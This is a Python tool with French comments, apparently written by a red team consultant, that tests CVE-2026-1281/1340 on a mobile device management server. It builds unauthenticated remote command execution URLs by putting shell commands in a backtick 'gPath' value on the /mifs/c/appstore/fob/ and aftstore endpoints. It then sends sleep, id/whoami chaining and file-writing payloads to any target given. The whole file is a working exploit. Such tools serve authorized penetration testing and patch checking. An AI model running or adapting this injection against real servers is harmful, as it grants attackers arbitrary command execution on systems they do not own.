#!/usr/bin/env python3
"""
CVE-2026-1281/1340 - Automated Validation Framework
Author: Mehdi - Red Team Consultant
Description: Framework pour tester systématiquement les payloads et valider l'exploitation
"""

import argparse
import requests
import urllib3
import time
import sys
from datetime import datetime
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class ValidationFramework:
    def __init__(self, target, timeout=10):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.results = []
        
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        }
    
    def log(self, test_name, status, message, elapsed=None):
        """Log un résultat de test"""
        result = {
            'timestamp': datetime.now().isoformat(),
            'test': test_name,
            'status': status,
            'message': message,
            'elapsed': elapsed
        }
        self.results.append(result)
        
        # Affichage console
        status_symbol = {
            'SUCCESS': '✓',
            'FAIL': '✗',
            'WARNING': '⚠',
            'INFO': 'ℹ'
        }
        
        color = {
            'SUCCESS': '\033[92m',
            'FAIL': '\033[91m',
            'WARNING': '\033[93m',
            'INFO': '\033[94m'
        }
        
        print(f"{color.get(status, '')}{status_symbol.get(status, '?')} [{test_name}] {message}\033[0m")
        if elapsed:
            print(f"  └─ Temps écoulé: {elapsed:.2f}s")
    
    def build_exploit_url(self, command, endpoint='appstore'):
        """Construire l'URL d'exploitation"""
        base = '/mifs/c/appstore/fob/' if endpoint == 'appstore' else '/mifs/c/aftstore/fob/'
        payload = f"gPath[`{command}`]"
        params = f"kid=1,st=theValue  ,et=1337133713,h={payload}"
        guid = "13371337-1337-1337-1337-133713371337.ipa"
        
        return f"{self.target}{base}3/5/sha256:{params}/{guid}"
    
    def test_endpoint_accessibility(self):
        """Test 1: Vérifier l'accessibilité des endpoints"""
        test_name = "Endpoint Accessibility"
        
        endpoints = [
            '/mifs/c/appstore/fob/',
            '/mifs/c/aftstore/fob/'
        ]
        
        accessible_count = 0
        for endpoint in endpoints:
            try:
                url = f"{self.target}{endpoint}"
                start = time.time()
                response = self.session.get(
                    url,
                    headers=self.headers,
                    timeout=self.timeout,
                    verify=False,
                    allow_redirects=False
                )
                elapsed = time.time() - start
                
                if response.status_code in [400, 403, 404]:
                    self.log(test_name, 'SUCCESS', f'{endpoint} accessible (Status: {response.status_code})', elapsed)
                    accessible_count += 1
                else:
                    self.log(test_name, 'WARNING', f'{endpoint} status inattendu: {response.status_code}', elapsed)
            except Exception as e:
                self.log(test_name, 'FAIL', f'Erreur {endpoint}: {str(e)}')
        
        return accessible_count > 0
    
    def test_sleep_injection(self, sleep_time=5):
        """Test 2: Time-based RCE avec sleep"""
        test_name = f"Sleep Injection ({sleep_time}s)"
        
        url = self.build_exploit_url(f'sleep {sleep_time}')
        
        try:
            start = time.time()
            response = self.session.get(
                url,
                headers=self.headers,
                timeout=self.timeout + sleep_time,
                verify=False
            )
            elapsed = time.time() - start
            
            # Si le temps écoulé est proche du sleep, RCE confirmé
            if elapsed >= sleep_time - 1:
                self.log(test_name, 'SUCCESS', f'RCE confirmé - Délai détecté ({elapsed:.2f}s)', elapsed)
                return True
            else:
                self.log(test_name, 'FAIL', f'Pas de délai significatif ({elapsed:.2f}s)', elapsed)
                return False
        except requests.exceptions.Timeout:
            self.log(test_name, 'WARNING', 'Timeout - possible RCE mais non confirmé')
            return None
        except Exception as e:
            self.log(test_name, 'FAIL', f'Erreur: {str(e)}')
            return False
    
    def test_command_output_file(self):
        """Test 3: Exécution avec output vers fichier"""
        test_name = "Command Output to File"
        
        # Créer un fichier avec un marqueur unique
        marker = f"poc_{int(time.time())}"
        url = self.build_exploit_url(f'echo {marker} > /tmp/{marker}.txt')
        
        try:
            start = time.time()
            response = self.session.get(
                url,
                headers=self.headers,
                timeout=self.timeout,
                verify=False
            )
            elapsed = time.time() - start
            
            if response.status_code == 404:
                self.log(test_name, 'SUCCESS', f'Commande exécutée (marker: {marker})', elapsed)
                self.log(test_name, 'INFO', f'Vérifier: /tmp/{marker}.txt sur la cible')
                return True
            else:
                self.log(test_name, 'WARNING', f'Status inattendu: {response.status_code}', elapsed)
                return False
        except Exception as e:
            self.log(test_name, 'FAIL', f'Erreur: {str(e)}')
            return False
    
    def test_alternate_endpoint(self):
        """Test 4: Endpoint alternatif (aftstore)"""
        test_name = "Alternate Endpoint (aftstore)"
        
        url = self.build_exploit_url('sleep 3', endpoint='aftstore')
        
        try:
            start = time.time()
            response = self.session.get(
                url,
                headers=self.headers,
                timeout=self.timeout,
                verify=False
            )
            elapsed = time.time() - start
            
            if elapsed >= 2.5:
                self.log(test_name, 'SUCCESS', 'CVE-2026-1340 confirmé', elapsed)
                return True
            else:
                self.log(test_name, 'FAIL', 'Endpoint aftstore non vulnérable', elapsed)
                return False
        except Exception as e:
            self.log(test_name, 'FAIL', f'Erreur: {str(e)}')
            return False
    
    def test_variable_expansion(self):
        """Test 5: Vérifier l'expansion de variables bash"""
        test_name = "Bash Variable Expansion"
        
        # Test avec une variable système
        url = self.build_exploit_url('echo $USER > /tmp/user_test.txt')
        
        try:
            start = time.time()
            response = self.session.get(
                url,
                headers=self.headers,
                timeout=self.timeout,
                verify=False
            )
            elapsed = time.time() - start
            
            if response.status_code == 404:
                self.log(test_name, 'SUCCESS', 'Expansion de variables bash fonctionnelle', elapsed)
                return True
            else:
                self.log(test_name, 'WARNING', f'Status: {response.status_code}', elapsed)
                return False
        except Exception as e:
            self.log(test_name, 'FAIL', f'Erreur: {str(e)}')
            return False
    
    def test_command_chaining(self):
        """Test 6: Chaînage de commandes"""
        test_name = "Command Chaining"
        
        # Tester avec &&
        url = self.build_exploit_url('id && whoami && pwd > /tmp/chain_test.txt')
        
        try:
            start = time.time()
            response = self.session.get(
                url,
                headers=self.headers,
                timeout=self.timeout,
                verify=False
            )
            elapsed = time.time() - start
            
            if response.status_code == 404:
                self.log(test_name, 'SUCCESS', 'Chaînage de commandes opérationnel', elapsed)
                return True
            else:
                self.log(test_name, 'WARNING', f'Status: {response.status_code}', elapsed)
                return False
        except Exception as e:
            self.log(test_name, 'FAIL', f'Erreur: {str(e)}')
            return False
    
    def test_payload_robustness(self):
        """Test 7: Robustesse du payload avec caractères spéciaux"""
        test_name = "Payload Robustness"
        
        # Test avec des caractères qui pourraient poser problème
        commands = [
            "echo 'test' > /tmp/quote_test.txt",
            "echo test123 > /tmp/simple_test.txt",
            "touch /tmp/touch_test.txt"
        ]
        
        success_count = 0
        for cmd in commands:
            url = self.build_exploit_url(cmd)
            try:
                response = self.session.get(url, headers=self.headers, timeout=self.timeout, verify=False)
                if response.status_code == 404:
                    success_count += 1
            except:
                pass
        
        if success_count == len(commands):
            self.log(test_name, 'SUCCESS', f'Tous les payloads fonctionnels ({success_count}/{len(commands)})')
            return True
        elif success_count > 0:
            self.log(test_name, 'WARNING', f'Payloads partiels ({success_count}/{len(commands)})')
            return True
        else:
            self.log(test_name, 'FAIL', 'Aucun payload fonctionnel')
            return False
    
    def test_http_response_codes(self):
        """Test 8: Vérifier les codes de réponse HTTP"""
        test_name = "HTTP Response Codes"
        
        url = self.build_exploit_url('id')
        
        try:
            response = self.session.get(
                url,
                headers=self.headers,
                timeout=self.timeout,
                verify=False,
                allow_redirects=False
            )
            
            if response.status_code == 404:
                self.log(test_name, 'SUCCESS', 'Code 404 attendu - exploitation probable')
                return True
            elif response.status_code in [200, 302]:
                self.log(test_name, 'FAIL', f'Code {response.status_code} - système potentiellement patché')
                return False
            else:
                self.log(test_name, 'WARNING', f'Code inattendu: {response.status_code}')
                return None
        except Exception as e:
            self.log(test_name, 'FAIL', f'Erreur: {str(e)}')
            return False
    
    def run_all_tests(self):
        """Exécuter tous les tests de validation"""
        print("\n╔═══════════════════════════════════════════════════════════════╗")
        print("║     CVE-2026-1281/1340 Automated Validation Framework        ║")
        print("╚═══════════════════════════════════════════════════════════════╝\n")
        
        print(f"🎯 Cible: {self.target}")
        print(f"⏱  Timeout: {self.timeout}s")
        print(f"📅 Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
        print("\n" + "="*65 + "\n")
        
        tests = [
            ("Accessibility", self.test_endpoint_accessibility),
            ("Sleep Injection", lambda: self.test_sleep_injection(5)),
            ("Command Output", self.test_command_output_file),
            ("Alternate Endpoint", self.test_alternate_endpoint),
            ("Variable Expansion", self.test_variable_expansion),
            ("Command Chaining", self.test_command_chaining),
            ("Payload Robustness", self.test_payload_robustness),
            ("HTTP Response Codes", self.test_http_response_codes),
        ]
        
        success_count = 0
        fail_count = 0
        warning_count = 0
        
        for test_name, test_func in tests:
            print(f"\n[*] Exécution du test: {test_name}")
            print("-" * 65)
            
            try:
                result = test_func()
                
                if result is True:
                    success_count += 1
                elif result is False:
                    fail_count += 1
                else:
                    warning_count += 1
            except Exception as e:
                self.log(test_name, 'FAIL', f'Exception: {str(e)}')
                fail_count += 1
            
            time.sleep(0.5)  # Pause entre les tests
        
        # Résumé
        print("\n" + "="*65)
        print("\n📊 RÉSUMÉ DE LA VALIDATION\n")
        print(f"✓ Tests réussis:  {success_count}")
        print(f"✗ Tests échoués:  {fail_count}")
        print(f"⚠ Avertissements: {warning_count}")
        print(f"━ Total:          {len(tests)}")
        
        # Verdict
        print("\n" + "="*65)
        if success_count >= len(tests) * 0.7:
            print("\n🎉 VERDICT: SYSTÈME VULNÉRABLE - RCE CONFIRMÉ")
            print("   La cible est affectée par CVE-2026-1281 et/ou CVE-2026-1340")
        elif success_count >= len(tests) * 0.4:
            print("\n⚠️  VERDICT: POTENTIELLEMENT VULNÉRABLE")
            print("   Certains tests ont échoué, validation manuelle recommandée")
        else:
            print("\n✅ VERDICT: SYSTÈME NON VULNÉRABLE ou PATCHÉ")
            print("   La majorité des tests ont échoué")
        
        print("\n" + "="*65 + "\n")
        
        return self.results
    
    def export_results(self, filename=None):
        """Exporter les résultats en JSON"""
        if filename is None:
            filename = f"validation_results_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
        
        report = {
            'target': self.target,
            'scan_date': datetime.now().isoformat(),
            'timeout': self.timeout,
            'results': self.results,
            'summary': {
                'success': sum(1 for r in self.results if r['status'] == 'SUCCESS'),
                'fail': sum(1 for r in self.results if r['status'] == 'FAIL'),
                'warning': sum(1 for r in self.results if r['status'] == 'WARNING'),
                'total': len(self.results)
            }
        }
        
        with open(filename, 'w') as f:
            json.dump(report, f, indent=2)
        
        print(f"📄 Rapport exporté: {filename}")
        return filename


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-1281/1340 Automated Validation Framework',
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument('-t', '--target', required=True, help='URL cible (ex: https://epmm.example.com)')
    parser.add_argument('--timeout', type=int, default=10, help='Timeout des requêtes (default: 10s)')
    parser.add_argument('-o', '--output', help='Fichier de sortie JSON pour les résultats')
    parser.add_argument('-q', '--quiet', action='store_true', help='Mode silencieux (moins de verbosité)')
    
    args = parser.parse_args()
    
    # Initialiser le framework
    framework = ValidationFramework(
        target=args.target,
        timeout=args.timeout
    )
    
    # Exécuter les tests
    results = framework.run_all_tests()
    
    # Exporter les résultats
    if args.output or not args.quiet:
        output_file = args.output if args.output else None
        framework.export_results(output_file)


if __name__ == '__main__':
    main()